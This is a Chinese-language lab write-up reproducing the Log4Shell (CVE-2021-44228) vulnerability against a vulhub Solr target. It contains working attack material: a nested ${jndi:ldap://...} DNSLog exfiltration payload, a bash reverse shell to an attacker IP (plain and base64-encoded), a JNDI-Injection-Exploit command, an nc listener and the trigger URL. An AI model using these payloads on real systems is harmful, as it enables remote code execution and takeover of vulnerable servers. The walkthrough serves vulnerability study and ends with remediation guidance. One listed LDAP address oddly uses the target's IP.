AI摘要

本文复现了 Log4j 远程代码执行漏洞 CVE-2021-44228。文章解析了基于 JNDI Lookup 的漏洞原理,利用 vulhub 搭建 Solr 靶机,通过 DNSLog 外带验证,并借助工具实现反弹 Shell,成功获取目标控制权。

使用 vulhub 搭建靶机环境,完整复现 CVE-2021-44228(Log4Shell)远程代码执行漏洞,从漏洞原理到 DNSLog 外带验证,再到反弹 Shell 获取目标控制权。


漏洞原理

根因:Lookup 机制

Log4j 2 支持一种 Message Lookup Substitution 特性:当日志消息中包含 ${...} 格式的占位符时,Log4j 会在运行时动态解析并替换为实际值。支持多种 Lookup 插件,包括:

  • ${env:VAR} — 读取环境变量
  • ${sys:property} — 读取系统属性
  • ${jndi:xxxx} — 通过 JNDI 获取外部资源

问题就在这里:${jndi:ldap://attacker.com/evil} 会触发 Log4j 向指定的 LDAP 服务器发起请求,而 LDAP 服务器可以返回一个指向远程 Java class 文件的序列化对象,目标 JVM 将自动加载并执行该 class。

攻击链路

攻击者构造恶意请求
  → 目标应用记录日志(含 ${jndi:ldap://...})
    → Log4j 解析 JNDI Lookup
      → 向攻击者控制的 LDAP 服务器发起查询
        → LDAP 返回 Java 对象引用(指向远程 class)
          → 目标 JVM 加载并执行恶意 class
            → 攻击者获得 RCE

整个过程中,攻击者只需要让目标应用将恶意字符串记入日志就能触发漏洞,而 HTTP Header、User-Agent、POST body、URL 参数等几乎所有用户可控的输入都可能被记入日志,使得攻击面极为广阔。

JNDI / LDAP 简介

  • JNDI(Java Naming and Directory Interface)是 Java 提供的一组 API,允许应用程序通过网络获取命名或目录服务中的资源。它支持多种 SPI 实现,包括 RMI、LDAP、CORBA、DNS 等。
  • LDAP(Lightweight Directory Access Protocol)是一种轻量级目录访问协议,广泛用于企业内部用户认证和信息查询。JDK 自带的 com.sun.jndi.ldap.LdapCtx 会默认信任 LDAP 响应中的 javaCodeBasejavaFactory 属性,从而加载远程 class,这正是 Log4Shell 得以利用的关键。

CVE-2021-44228 时间线

时间事件
2021-11-24阿里云安全团队向 Apache 报告漏洞
2021-12-09漏洞细节公开,引发全球安全事件
2021-12-10Apache 发布 Log4j 2.15.0-rc2 修复
2021-12-14Apache 发布 Log4j 2.16.0 彻底禁用 Lookup
CVSS 3.110.0(严重)

漏洞信息

项目内容
漏洞编号CVE-2021-44228
漏洞名称Log4Shell / LogJam
漏洞类型Remote Code Execution (RCE)
组件名称Apache Log4j2
影响范围2.0.0 ≤ Apache Log4j2 ≤ 2.15.0-rc1
利用难度容易 — 无需认证,仅需触发日志记录
威胁等级严重(CVSS 10.0)
修复版本Log4j 2.15.0-rc2 / 2.16.0+
该漏洞影响范围极广:Apache Struts2、Solr、Druid、Flume、Dubbo、ElasticSearch、Kafka 等大量 Java 生态组件均受牵连。

漏洞环境搭建

使用 vulhub 的预配置 Docker 环境,目标为 Apache Solr,其内置的 Log4j 版本存在漏洞。

cd vulhub/log4j/CVE-2021-44228
docker-compose up -d

启动后 Solr 监听在 8983 端口。本例靶机 IP 为 192.168.50.134

环境说明:

  • 靶机:192.168.50.134 — 运行 Solr + 漏洞版 Log4j
  • 攻击机:192.168.50.129 — 运行恶意 LDAP 服务 + nc 监听
  • DNSLog:用于无回显场景的数据外带验证

漏洞复现

访问 Solr 管理后台确认服务正常运行:

Solr 管理界面

Solr 的 Admin UI 提供了多个 API 端点,其中 /solr/admin/cores 等接口会将用户传入的参数记录到日志中,这成为攻击入口。


POC:DNSLog 外带验证

由于漏洞通常存在于无回显的场景(如 HTTP Header 注入后无法直接看到响应),需要借助 DNSLog 进行带外数据验证。

步骤

打开 DNSLog 平台 获取一个临时域名,构造嵌套 JNDI payload:

${jndi:ldap://${sys:java.version}.w5b7yq.dnslog.cn}

这里使用了 嵌套 Lookup:外层 ${jndi:ldap://...} 触发 JNDI 请求,内层 ${sys:java.version} 在拼接时动态解析为当前 Java 版本号,最终发起的 LDAP 请求域名形如 1.8.0_291.w5b7yq.dnslog.cn,DNS 解析请求会被 DNSLog 记录。

将 payload 注入 URL 参数 action

http://192.168.50.134:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.w5b7yq.dnslog.cn}

POC 请求

Log4j 解析参数中的 ${...} 后发起 DNS 查询,DNSLog 平台记录到了包含 Java 版本的子域名请求,证明 JNDI Lookup 已成功触发:

DNSLog 结果

为什么 LDAP 请求能发出但 DNSLog 有记录?
即使目标无法直接外连 LDAP(被防火墙阻断),DNS 解析请求通常不会被拦截,因此 DNSLog 是无回显漏洞检测的首选方式。

命令执行:反弹 Shell

确认 JNDI Lookup 可用后,接下来通过恶意 LDAP 服务器下发远程 class 实现代码执行。

1. 构造反弹 Shell 命令

bash -i >& /dev/tcp/192.168.50.129/6666 0>&1
这是标准的 bash 反弹 Shell 用法:bash -i 启动交互式 Shell,>& 将标准输出和错误输出重定向到 TCP 连接,0>&1 将标准输入也指向同一连接,攻击机即可获得完整的交互式终端。

2. Base64 编码

为了避免特殊字符被破坏,将命令进行 Base64 编码:

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjEyOS82NjY2IDA+JjE=

3. 启动恶意 LDAP 服务

使用 JNDI-Injection-Exploit 工具在攻击机启动一个恶意的 LDAP / RMI 服务。该工具接收 -C(要执行的命令)和 -A(攻击机 IP),内部自动完成:

  • 启动 LDAP 及 RMI 监听端口
  • 在响应中设置 javaCodeBase 指向攻击机 HTTP 服务
  • 当目标 LDAP 查询到达时,返回一个指向远程 class 的引用
  • 目标 JVM 拉取 class 并执行其中的构造器代码(即 Runtime.exec()
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
  -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjEyOS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" \
  -A "192.168.50.129"

JNDI 服务启动

工具启动后会输出多个可用的 LDAP / RMI 地址,任选其一即可。此处选择 ldap://192.168.50.134:1099/1dj8mp

同时,在攻击机上用 nc 监听 6666 端口等待反弹连接:

nc -lvnp 6666

4. 触发漏洞

将 payload 中的 DNSLog 域名替换为恶意 LDAP 地址:

http://192.168.50.134:8983/solr/admin/cores?action=${jndi:ldap://192.168.50.134:1099/1dj8mp}

目标 Solr 接收到请求后:

  1. 记录 URL 到日志 → Log4j 解析 ${jndi:ldap://...}
  2. 向攻击机 1099 端口发起 LDAP 查询
  3. 收到包含 javaCodeBase 的 LDAP 响应
  4. JVM 从攻击机 HTTP 服务下载恶意 class
  5. 执行 class 构造器中的 Runtime.exec("bash -c ...")
  6. 目标机向攻击机 6666 端口发起 TCP 连接
  7. 攻击机获得交互式 Shell

反弹 Shell 成功


总结

阶段关键动作
漏洞根因Log4j 的 JNDI Lookup 允许从远程服务器加载 class
攻击入口用户可控输入被记录日志,触发${jndi:ldap://...}
外带验证DNSLog 平台记录 DNS 请求,确认 Lookup 可用
代码执行恶意 LDAP 服务器分发远程 class,JVM 自动加载
权限控制反弹 Shell 获得目标操作系统控制权

CVE-2021-44228 之所以被称为"史上最严重 Java 漏洞",在于其利用门槛极低、影响面极广,大量主流中间件和业务系统均受影响。修复的核心思路是对 JNDI Lookup 进行限制:

  • 2.15.0-rc2:默认禁用 JNDI Lookup,限制 LDAP 只能获取本地对象
  • 2.16.0+:彻底移除 Message Lookup 功能,并从默认配置中删除 JNDI Appender
  • 同时建议升级 JDK 到 8u191 / 11.0.1 以上,高版本 JDK 默认限制了 LDAP 远程 class 加载
投币支持一下吧
END